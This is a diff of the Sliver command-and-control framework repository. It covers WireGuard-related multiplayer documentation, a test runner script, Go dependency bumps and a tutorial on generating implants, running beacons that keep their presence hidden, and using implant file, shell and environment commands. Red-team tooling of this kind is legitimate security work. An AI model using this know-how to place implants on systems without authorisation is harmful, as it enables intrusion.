||||
|
||||
@@ -107,7 +126,7 @@ The installation script places the `sliver-server` binary in `/root` by default.
|
||||
|
||||
Sliver supports multiplayer integration with [Tailscale](https://tailscale.com/), which is an excellent option when you want to keep the multiplayer listener off the public Internet.
|
||||
|
||||
Tailscale mode is separate from the default multiplayer WireGuard wrapper. When you use `multiplayer -T`, Sliver exposes the listener only through Tailscale instead of layering its own multiplayer WireGuard tunnel on top.
|
||||
Tailscale mode is separate from the optional multiplayer WireGuard wrapper. When you use `multiplayer -T`, Sliver exposes the listener only through Tailscale instead of layering its own multiplayer WireGuard tunnel on top.
|
||||
|
||||
```
|
||||
$ export TS_AUTHKEY=<tailscale authkey>
|
||||
|
||||
@@ -61,14 +61,14 @@ pip3 install sliver-py
|
||||
|
||||
Since our extension is essentially going to be another client connection to the sliver server, you’ll also need to enable multiplayer mode and generate a new profile.
|
||||
|
||||
Current Sliver releases default to a WireGuard-protected multiplayer listener. Because this tutorial uses a third-party Python client, we’ll force direct multiplayer mode so the profile only contains the plain gRPC/mTLS settings:
|
||||
Sliver defaults to direct gRPC/mTLS multiplayer, which is compatible with this third-party Python client. Start the listener and generate the operator profile without the optional WireGuard flag:
|
||||
|
||||
```bash
|
||||
[server] sliver > multiplayer --disable-wg
|
||||
[server] sliver > multiplayer
|
||||
|
||||
[*] Multiplayer mode enabled!
|
||||
|
||||
[server] sliver > new-operator -n tester -l 127.0.0.1 --permissions all --disable-wg
|
||||
[server] sliver > new-operator -n tester -l 127.0.0.1 --permissions all
|
||||
|
||||
[*] Generating new client certificate, please wait ...
|
||||
[*] Saved new client config to: /Users/tester/tools/tester_127.0.0.1.cfg
|
||||
|
||||
@@ -1 +1 @@
|
||||
{"tutorials":[{"name":"1 - Getting Started","content":"`sliver-server` is the binary you want to use to run the Sliver C2 server, `sliver-client` is solely a client to connect to a Sliver C2 server. Sliver server also acts as a client on its own, so you don’t necessarily run sliver server and client separately.\n\nFirst time running Sliver will take a couple seconds as it's retrieving its dependencies. Consecutive executions will be much faster. Go ahead and launch the `sliver-server`.\n\n```asciinema\n{\"src\": \"/asciinema/startup.cast\", \"cols\": \"132\", \"rows\": \"28\", \"idleTimeLimit\": 8}\n```\n\nLet's take a couple minutes to discuss what Sliver actually is and how it's set up.\n\n\n\nNow that Sliver is running, lets generate and execute your first implant to try out some of the basic features of Sliver, for now we’re going to run everything on the local host.\n\nHere's what we're going to do: \n* Generate your implant using the `generate` command as shown below.\n* Start HTTP listener on port 80\n* Execute implant in a separate terminal\n\n```asciinema\n{\"src\": \"/asciinema/first-implant.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNow let’s select our implant and run our first command using the `use` command.\n\n```bash\n[server] sliver > use\n? Select a session or beacon: \nSESSION 1884a365 RELATED_EARDRUM [::1]:49153 test.local tester darwin/amd64\n[*] Active session RELATED_EARDRUM (1884a365-085f-4506-b28e-80c481730fd0)\n\n[server] sliver (RELATED_EARDRUM) > pwd\n\n[*] /Users/tester/tools\n```\n\nOnce you have reached this point, go ahead and explore some of the commands listed below. In each case, first check out the command's help using the **`-h`** flag then try it out!\n\n```bash\nExploring and interacting with the filesystem\n\nFilesystem\n cat Dump file to stdout\n cd Change directory\n cp Copy a file\n download Download a file\n grep Search for strings that match a regex within a file or directory\n head Grab the first number of bytes or lines from a file\n ls List current directory\n mkdir Make a directory\n mv Move or rename a file\n pwd Print working directory\n rm Remove a file or directory\n tail Grab the last number of bytes or lines from a file\n upload Upload a file\n```\n\n```asciinema\n{\"src\": \"/asciinema/filesystem.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nGetting some environmental information\n```bash\nInfo\n env List environment variables\n getgid Get session process GID\n getpid Get session pid\n getuid Get session process UID\n info Get session info\n ping Send round trip message to implant (does not use ICMP)\n whoami Get session user execution context\n```\nExecute a binary\n\n```asciinema\n{\"src\": \"/asciinema/execute.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nRunning an interactive shell\n\n```asciinema\n{\"src\": \"/asciinema/shell.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNot all commands are supported for all operating systems or meant to be used on all operating systems, here are a few examples:\n\n```\nmount Get information on mounted filesystems (only for Windows and Linux)\nscreenshot Take a screenshot (only for Windows and Linux)\nmemfiles List current memfiles (Linux only)\n```\n\nThis is an open-source project if you see a bug please file an issue! Pull requests are always welcome."},{"name":"2 - Beacons vs Sessions","content":"Sliver implants support two types of connections, sessions and beacons.\n\nSessions use long-polling connections, which means they constantly maintain a single TCP connection open while communicating with the server. Beacons on the other hand call back periodically and will sleep when not active which can help keep their presence hidden. You could limit callbacks to once every 6 hours for example and only 'activate' the beacon when needed by switching its sleeping time to a shorter duration.\n\nTypically during an engagement you will want to deploy a beacon on the target system and switch to a session while doing more active enumeration.\n\nLet’s start with generating and deploying a beacon using `http`.\n\n```asciinema\n{\"src\": \"/asciinema/beacon_generation.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nYou can see the beacon callback times either in the `info` command or using `beacons watch`.\n\n```bash\n[server] sliver > beacons watch\n\n ID Name Transport Username Operating System Last Check-In Next Check-In\n========== =============== =========== ================= ==========Line truncated
|
||||
{"tutorials":[{"name":"1 - Getting Started","content":"`sliver-server` is the binary you want to use to run the Sliver C2 server, `sliver-client` is solely a client to connect to a Sliver C2 server. Sliver server also acts as a client on its own, so you don’t necessarily run sliver server and client separately.\n\nFirst time running Sliver will take a couple seconds as it's retrieving its dependencies. Consecutive executions will be much faster. Go ahead and launch the `sliver-server`.\n\n```asciinema\n{\"src\": \"/asciinema/startup.cast\", \"cols\": \"132\", \"rows\": \"28\", \"idleTimeLimit\": 8}\n```\n\nLet's take a couple minutes to discuss what Sliver actually is and how it's set up.\n\n\n\nNow that Sliver is running, lets generate and execute your first implant to try out some of the basic features of Sliver, for now we’re going to run everything on the local host.\n\nHere's what we're going to do: \n* Generate your implant using the `generate` command as shown below.\n* Start HTTP listener on port 80\n* Execute implant in a separate terminal\n\n```asciinema\n{\"src\": \"/asciinema/first-implant.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNow let’s select our implant and run our first command using the `use` command.\n\n```bash\n[server] sliver > use\n? Select a session or beacon: \nSESSION 1884a365 RELATED_EARDRUM [::1]:49153 test.local tester darwin/amd64\n[*] Active session RELATED_EARDRUM (1884a365-085f-4506-b28e-80c481730fd0)\n\n[server] sliver (RELATED_EARDRUM) > pwd\n\n[*] /Users/tester/tools\n```\n\nOnce you have reached this point, go ahead and explore some of the commands listed below. In each case, first check out the command's help using the **`-h`** flag then try it out!\n\n```bash\nExploring and interacting with the filesystem\n\nFilesystem\n cat Dump file to stdout\n cd Change directory\n cp Copy a file\n download Download a file\n grep Search for strings that match a regex within a file or directory\n head Grab the first number of bytes or lines from a file\n ls List current directory\n mkdir Make a directory\n mv Move or rename a file\n pwd Print working directory\n rm Remove a file or directory\n tail Grab the last number of bytes or lines from a file\n upload Upload a file\n```\n\n```asciinema\n{\"src\": \"/asciinema/filesystem.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nGetting some environmental information\n```bash\nInfo\n env List environment variables\n getgid Get session process GID\n getpid Get session pid\n getuid Get session process UID\n info Get session info\n ping Send round trip message to implant (does not use ICMP)\n whoami Get session user execution context\n```\nExecute a binary\n\n```asciinema\n{\"src\": \"/asciinema/execute.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nRunning an interactive shell\n\n```asciinema\n{\"src\": \"/asciinema/shell.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNot all commands are supported for all operating systems or meant to be used on all operating systems, here are a few examples:\n\n```\nmount Get information on mounted filesystems (only for Windows and Linux)\nscreenshot Take a screenshot (only for Windows and Linux)\nmemfiles List current memfiles (Linux only)\n```\n\nThis is an open-source project if you see a bug please file an issue! Pull requests are always welcome."},{"name":"2 - Beacons vs Sessions","content":"Sliver implants support two types of connections, sessions and beacons.\n\nSessions use long-polling connections, which means they constantly maintain a single TCP connection open while communicating with the server. Beacons on the other hand call back periodically and will sleep when not active which can help keep their presence hidden. You could limit callbacks to once every 6 hours for example and only 'activate' the beacon when needed by switching its sleeping time to a shorter duration.\n\nTypically during an engagement you will want to deploy a beacon on the target system and switch to a session while doing more active enumeration.\n\nLet’s start with generating and deploying a beacon using `http`.\n\n```asciinema\n{\"src\": \"/asciinema/beacon_generation.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nYou can see the beacon callback times either in the `info` command or using `beacons watch`.\n\n```bash\n[server] sliver > beacons watch\n\n ID Name Transport Username Operating System Last Check-In Next Check-In\n========== =============== =========== ================= ==========Line truncated
|
||||
+31
-8
@@ -125,19 +125,29 @@ run_test_cmd() {
|
||||
should_skip_package() {
|
||||
local pkg="$1"
|
||||
local tags="${2:-}"
|
||||
local go_list_cmd=(go list -e -f '{{if .Error}}{{.Error}}{{end}}')
|
||||
if [ -n "$tags" ]; then
|
||||
go_list_cmd+=("-tags=$tags")
|
||||
fi
|
||||
go_list_cmd+=("$pkg")
|
||||
|
||||
local go_list_error
|
||||
go_list_error="$("${go_list_cmd[@]}" 2>/dev/null || true)"
|
||||
local test_file_counts
|
||||
if [ -n "$tags" ]; then
|
||||
go_list_error="$(go list -e -f '{{if .Error}}{{.Error}}{{end}}' "-tags=$tags" "$pkg" 2>/dev/null || true)"
|
||||
test_file_counts="$(go list -e -f '{{len .TestGoFiles}} {{len .XTestGoFiles}}' "-tags=$tags" "$pkg" 2>/dev/null || true)"
|
||||
else
|
||||
go_list_error="$(go list -e -f '{{if .Error}}{{.Error}}{{end}}' "$pkg" 2>/dev/null || true)"
|
||||
test_file_counts="$(go list -e -f '{{len .TestGoFiles}} {{len .XTestGoFiles}}' "$pkg" 2>/dev/null || true)"
|
||||
fi
|
||||
if [[ "$go_list_error" == *"build constraints exclude all Go files"* ]]; then
|
||||
echo
|
||||
echo "==> Skipping $pkg (unsupported on current platform)"
|
||||
return 0
|
||||
fi
|
||||
|
||||
# File discovery intentionally sees tests for every OS. Avoid forcing a
|
||||
# package build when all of its tests are excluded by the current target's
|
||||
# build constraints; those tests remain discoverable on their target OS.
|
||||
if [ "$test_file_counts" = "0 0" ]; then
|
||||
echo
|
||||
echo "==> Skipping $pkg (no tests for current platform)"
|
||||
return 0
|
||||
fi
|
||||
return 1
|
||||
}
|
||||
|
||||
@@ -145,7 +155,7 @@ collect_test_dirs() {
|
||||
if command -v rg >/dev/null 2>&1; then
|
||||
rg --files -g '*_test.go'
|
||||
else
|
||||
find client implant server util -type f -name '*_test.go' -print
|
||||
find client implant server test util -type f -name '*_test.go' -print
|
||||
fi
|
||||
}
|
||||
|
||||
@@ -169,6 +179,7 @@ done < <(collect_test_dirs | xargs -n1 dirname | sort -u)
|
||||
CLIENT_TEST_PKGS=()
|
||||
IMPLANT_TEST_PKGS=()
|
||||
SERVER_UTIL_TEST_PKGS=()
|
||||
E2E_SUPPORT_TEST_PKGS=()
|
||||
|
||||
for test_dir in "${TEST_DIRS[@]}"; do
|
||||
pkg="./$test_dir"
|
||||
@@ -185,6 +196,9 @@ for test_dir in "${TEST_DIRS[@]}"; do
|
||||
./server/* | ./util*)
|
||||
SERVER_UTIL_TEST_PKGS+=("$pkg")
|
||||
;;
|
||||
./test/e2e | ./test/e2e/*)
|
||||
E2E_SUPPORT_TEST_PKGS+=("$pkg")
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
@@ -196,6 +210,15 @@ for pkg in "${CLIENT_TEST_PKGS[@]}"; do
|
||||
run_test_cmd "$pkg" go test -tags="client,$TAGS" "$pkg" || exit 1
|
||||
done
|
||||
|
||||
## Comprehensive E2E support packages. The top-level lifecycle test skips
|
||||
## unless a server binary is supplied; coverage/report unit tests run here.
|
||||
for pkg in "${E2E_SUPPORT_TEST_PKGS[@]}"; do
|
||||
if should_skip_package "$pkg" "client,$TAGS"; then
|
||||
continue
|
||||
fi
|
||||
run_test_cmd "$pkg" go test -tags="client,$TAGS" "$pkg" || exit 1
|
||||
done
|
||||
|
||||
## Implant
|
||||
for pkg in "${IMPLANT_TEST_PKGS[@]}"; do
|
||||
if should_skip_package "$pkg"; then
|
||||
|
||||
@@ -12,11 +12,10 @@ require (
|
||||
charm.land/bubbles/v2 v2.0.0
|
||||
charm.land/glamour/v2 v2.0.1
|
||||
charm.land/huh/v2 v2.0.3
|
||||
charm.land/lipgloss/v2 v2.0.4
|
||||
charm.land/lipgloss/v2 v2.0.6
|
||||
filippo.io/age v1.3.1
|
||||
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb
|
||||
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
|
||||
github.com/Ne0nd0g/go-clr v1.0.3
|
||||
github.com/SherClockHolmes/webpush-go v1.4.0
|
||||
github.com/alecthomas/chroma v0.10.0
|
||||
@@ -24,6 +23,7 @@ require (
|
||||
github.com/cheggaaa/pb/v3 v3.1.7
|
||||
github.com/chromedp/cdproto v0.0.0-20250803210736-d308e07a266d
|
||||
github.com/chromedp/chromedp v0.14.1
|
||||
github.com/ebitengine/purego v0.10.1
|
||||
github.com/glebarez/sqlite v1.11.0
|
||||
github.com/gofrs/uuid v4.4.0+incompatible
|
||||
github.com/golang/protobuf v1.5.4
|
||||
@@ -31,7 +31,7 @@ require (
|
||||
github.com/gorilla/mux v1.8.1
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
|
||||
github.com/hashicorp/yamux v0.1.2
|
||||
github.com/jedib0t/go-pretty/v6 v6.7.8
|
||||
github.com/jedib0t/go-pretty/v6 v6.8.3
|
||||
github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018
|
||||
github.com/klauspost/compress v1.18.4
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
@@ -39,7 +39,7 @@ require (
|
||||
github.com/mattn/go-sqlite3 v1.14.32
|
||||
github.com/miekg/dns v1.1.70
|
||||
github.com/moloch--/asciicast v0.1.1
|
||||
github.com/moloch--/sgn v0.0.5
|
||||
github.com/moloch--/sgn v0.1.2
|
||||
github.com/ncruces/go-sqlite3 v0.30.4
|
||||
github.com/nikoksr/notify v1.5.0
|
||||
github.com/openai/openai-go/v2 v2.7.1
|
||||
@@ -49,7 +49,7 @@ require (
|
||||
github.com/sirupsen/logrus v1.9.4
|
||||
github.com/sliverarmory/beignet v0.0.3
|
||||
github.com/sliverarmory/malasada v0.0.3
|
||||
github.com/sliverarmory/reflektor v0.0.2
|
||||
github.com/sliverarmory/reflektor v0.0.7
|
||||
github.com/sliverarmory/wasm-donut v0.0.3
|
||||
github.com/spf13/cobra v1.10.2
|
||||
github.com/spf13/pflag v1.0.10
|
||||
@@ -63,7 +63,7 @@ require (
|
||||
golang.org/x/exp v0.0.0-20260218203240-3dfff04db8fa
|
||||
golang.org/x/mod v0.37.0
|
||||
golang.org/x/net v0.56.0
|
||||
golang.org/x/sys v0.46.0
|
||||
golang.org/x/sys v0.47.0
|
||||
golang.org/x/term v0.44.0
|
||||
golang.org/x/text v0.40.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20250521234502-f333402bd9cb
|
||||
@@ -126,7 +126,7 @@ require (
|
||||
github.com/cenkalti/backoff/v4 v4.3.0 // indirect
|
||||
github.com/cespare/xxhash/v2 v2.3.0 // indirect
|
||||
github.com/charmbracelet/harmonica v0.2.0 // indirect
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8 // indirect
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260811164956-006e29f97886 // indirect
|
||||
github.com/charmbracelet/x/exp/ordered v0.1.0 // indirect
|
||||
github.com/charmbracelet/x/exp/slice v0.0.0-20250904123553-b4e2667e5ad5 // indirect
|
||||
github.com/charmbracelet/x/termios v0.1.1 // indirect
|
||||
@@ -232,8 +232,6 @@ require (
|
||||
github.com/akutz/memconn v0.1.0 // indirect
|
||||
github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e // indirect
|
||||
github.com/atotto/clipboard v0.1.4
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.3 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/config v1.32.11 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.65.1 // indirect
|
||||
@@ -241,7 +239,7 @@ require (
|
||||
github.com/carapace-sh/carapace-shlex v1.1.1 // indirect
|
||||
github.com/catppuccin/go v0.3.0 // indirect
|
||||
github.com/charmbracelet/colorprofile v0.4.3
|
||||
github.com/charmbracelet/x/ansi v0.11.7
|
||||
github.com/charmbracelet/x/ansi v0.11.8
|
||||
github.com/charmbracelet/x/exp/charmtone v0.0.0-20260109001716-2fbdffcb221f
|
||||
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 // indirect
|
||||
github.com/charmbracelet/x/term v0.2.2 // indirect
|
||||
@@ -281,12 +279,12 @@ require (
|
||||
github.com/jinzhu/now v1.1.5 // indirect
|
||||
github.com/jsimonetti/rtnetlink v1.4.2 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51
|
||||
github.com/lucasb-eyer/go-colorful v1.4.0
|
||||
github.com/lucasb-eyer/go-colorful v1.4.1
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/mark3labs/mcp-go v0.45.0
|
||||
github.com/mattn/go-colorable v0.1.14 // indirect
|
||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.23 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.24 // indirect
|
||||
github.com/mdlayher/netlink v1.8.0 // indirect
|
||||
github.com/mdlayher/socket v0.5.1 // indirect
|
||||
github.com/mitchellh/go-ps v1.0.0 // indirect
|
||||
|
||||
@@ -12,8 +12,8 @@ charm.land/glamour/v2 v2.0.1 h1:xl+r00A4aJWU0z8fgwKd9fQQ4rsphqGUzuEiXZP5n+c=
|
||||
charm.land/glamour/v2 v2.0.1/go.mod h1:jo9z8XqVKPeEFMVdvCRLGk++RyJ3CdUwgNr7EvXLw3k=
|
||||
charm.land/huh/v2 v2.0.3 h1:2cJsMqEPwSywGHvdlKsJyQKPtSJLVnFKyFbsYZTlLkU=
|
||||
charm.land/huh/v2 v2.0.3/go.mod h1:93eEveeeqn47MwiC3tf+2atZ2l7Is88rAtmZNZ8x9Wc=
|
||||
charm.land/lipgloss/v2 v2.0.4 h1:lcPeVtcp23SNra7lHy8iYE4UC2aIipVQ47sbGyyxR5Q=
|
||||
charm.land/lipgloss/v2 v2.0.4/go.mod h1:0653x8epbZSzdDfO/XPS1a/uYPOBeSsCssOpJOqDzik=
|
||||
charm.land/lipgloss/v2 v2.0.6 h1:EaGKeuA8FvF+v2BT5VmZd2LoYLaMZJXA5n34th8nCIQ=
|
||||
charm.land/lipgloss/v2 v2.0.6/go.mod h1:ipDDJNSGa1hlwDtSfW1s2/xR8Vdhbut4PXh2zEKZd0Q=
|
||||
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
|
||||
cloud.google.com/go v0.123.0 h1:2NAUJwPR47q+E35uaJeYoNhuNEM9kM8SjgRgdeOJUSE=
|
||||
cloud.google.com/go v0.123.0/go.mod h1:xBoMV08QcqUGuPW65Qfm1o9Y4zKZBpGS+7bImXLTAZU=
|
||||
@@ -49,14 +49,11 @@ firebase.google.com/go/v4 v4.18.0 h1:S+g0P72oDGqOaG4wlLErX3zQmU9plVdu7j+Bc3R1qFw
|
||||
firebase.google.com/go/v4 v4.18.0/go.mod h1:P7UfBpzc8+Z3MckX79+zsWzKVfpGryr6HLbAe7gCWfs=
|
||||
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb h1:c1Bb1n1wr2xgTHkNVxkUHBshff33m+IXgY6lE6oYttg=
|
||||
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb/go.mod h1:fSQ9asCJK/lIGXUnoRwJNMXcnzel53AsZMCtlVBIn3k=
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw=
|
||||
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0 h1:1sdnMvqxxlMXsu8ku/Xrh6gi3V40ykksst5fd0lfWnc=
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
|
||||
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
||||
github.com/BurntSushi/toml v1.4.1-0.20240526193622-a339e1f7089c h1:pxW6RcqyfI9/kWtOwnv/G+AzdKuy2ZrqINhenH4HyNs=
|
||||
github.com/BurntSushi/toml v1.4.1-0.20240526193622-a339e1f7089c/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho=
|
||||
@@ -114,10 +111,6 @@ github.com/atc0005/go-teams-notify/v2 v2.14.0 h1:7N+xw+COnYANLREaAveQ65rsNQ12nIZ
|
||||
github.com/atc0005/go-teams-notify/v2 v2.14.0/go.mod h1:EECsWM2b0Hvoz7O+QdlsvyN2KCUOFQCGj8bUBXv3A3Q=
|
||||
github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z4=
|
||||
github.com/atotto/clipboard v0.1.4/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.3 h1:4kQ/fa22KjDt13QCy1+bYADvdgcxpfH18f0zP542kZA=
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.3/go.mod h1:mwsPRE8ceUUpiTgF7QmQIJ7lgsKUPQOUl3o72QBrE1o=
|
||||
github.com/aws/aws-sdk-go-v2/config v1.32.11 h1:ftxI5sgz8jZkckuUHXfC/wMUc8u3fG1vQS0plr2F2Zs=
|
||||
@@ -186,10 +179,10 @@ github.com/charmbracelet/colorprofile v0.4.3 h1:QPa1IWkYI+AOB+fE+mg/5/4HRMZcaXex
|
||||
github.com/charmbracelet/colorprofile v0.4.3/go.mod h1:/zT4BhpD5aGFpqQQqw7a+VtHCzu+zrQtt1zhMt9mR4Q=
|
||||
github.com/charmbracelet/harmonica v0.2.0 h1:8NxJWRWg/bzKqqEaaeFNipOu77YR5t8aSwG4pgaUBiQ=
|
||||
github.com/charmbracelet/harmonica v0.2.0/go.mod h1:KSri/1RMQOZLbw7AHqgcBycp8pgJnQMYYT8QZRqZ1Ao=
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8 h1:eyFRbAmexyt43hVfeyBofiGSEmJ7krjLOYt/9CF5NKA=
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8/go.mod h1:SQpCTRNBtzJkwku5ye4S3HEuthAlGy2n9VXZnWkEW98=
|
||||
github.com/charmbracelet/x/ansi v0.11.7 h1:kzv1kJvjg2S3r9KHo8hDdHFQLEqn4RBCb39dAYC84jI=
|
||||
github.com/charmbracelet/x/ansi v0.11.7/go.mod h1:9qGpnAVYz+8ACONkZBUWPtL7lulP9No6p1epAihUZwQ=
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260811164956-006e29f97886 h1:rdnVWKgJpTVXKuKuJyxDJ+NFJdUaUqGvyGy61OcvlbA=
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260811164956-006e29f97886/go.mod h1:nAw0d9PhFp1qdzi2xhQU5YOu5sVpDIHWlaW2Uz/bCro=
|
||||
github.com/charmbracelet/x/ansi v0.11.8 h1:JMFwp0CgDC2+jcOB162HH5k7I3FVbgFSMMYg7dSPBQQ=
|
||||
github.com/charmbracelet/x/ansi v0.11.8/go.mod h1:ZNN+3mXny/516oTQPLMPIBeSINvNJJQ8uQXDgbeJxY0=
|
||||
github.com/charmbracelet/x/conpty v0.1.1 h1:s1bUxjoi7EpqiXysVtC+a8RrvPPNcNvAjfi4jxsAuEs=
|
||||
github.com/charmbracelet/x/conpty v0.1.1/go.mod h1:OmtR77VODEFbiTzGE9G1XiRJAga6011PIm4u5fTNZpk=
|
||||
github.com/charmbracelet/x/errors v0.0.0-20240508181413-e8d8b6e2de86 h1:JSt3B+U9iqk37QUU2Rvb6DSBYRLtWqFqfxf8l5hOZUA=
|
||||
@@ -274,6 +267,8 @@ github.com/drswork/go-twitter v0.0.0-20221107160839-dea1b6ed53d7 h1:uh1GSejOhVPR
|
||||
github.com/drswork/go-twitter v0.0.0-20221107160839-dea1b6ed53d7/go.mod h1:ncTaGuXc5v7AuiVekeJ0Nwh8Bf4cudukoj0qM/15UZE=
|
||||
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
|
||||
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
|
||||
github.com/ebitengine/purego v0.10.1 h1:dewVBCBT2GaMu1SrNTYxQhgQBethzfhiwvZiLGP/qyY=
|
||||
github.com/ebitengine/purego v0.10.1/go.mod h1:iIjxzd6CiRiOG0UyXP+V1+jWqUXVjPKLAI0mRfJZTmQ=
|
||||
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
|
||||
@@ -462,8 +457,8 @@ github.com/jackc/puddle/v2 v2.2.2/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFr
|
||||
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
|
||||
github.com/jcmturner/gofork v1.7.6 h1:QH0l3hzAU1tfT3rZCnW5zXl+orbkNMMRGJfdJjHVETg=
|
||||
github.com/jcmturner/gofork v1.7.6/go.mod h1:1622LH6i/EZqLloHfE7IeZ0uEJwMSUyQ/nDd82IeqRo=
|
||||
github.com/jedib0t/go-pretty/v6 v6.7.8 h1:BVYrDy5DPBA3Qn9ICT+PokP9cvCv1KaHv2i+Hc8sr5o=
|
||||
github.com/jedib0t/go-pretty/v6 v6.7.8/go.mod h1:YwC5CE4fJ1HFUDeivSV1r//AmANFHyqczZk+U6BDALU=
|
||||
github.com/jedib0t/go-pretty/v6 v6.8.3 h1:yVSk5aemoYHCvcrtqyXklwqcgHQIQzmy/oUzFlmffSQ=
|
||||
github.com/jedib0t/go-pretty/v6 v6.8.3/go.mod h1:YwC5CE4fJ1HFUDeivSV1r//AmANFHyqczZk+U6BDALU=
|
||||
github.com/jellydator/ttlcache/v3 v3.1.0 h1:0gPFG0IHHP6xyUyXq+JaD8fwkDCqgqwohXNJBcYE71g=
|
||||
github.com/jellydator/ttlcache/v3 v3.1.0/go.mod h1:hi7MGFdMAwZna5n2tuvh63DvFLzVKySzCVW6+0gA2n4=
|
||||
github.com/jezek/xgb v1.1.1 h1:bE/r8ZZtSv7l9gk6nU0mYx51aXrvnyb44892TwSaqS4=
|
||||
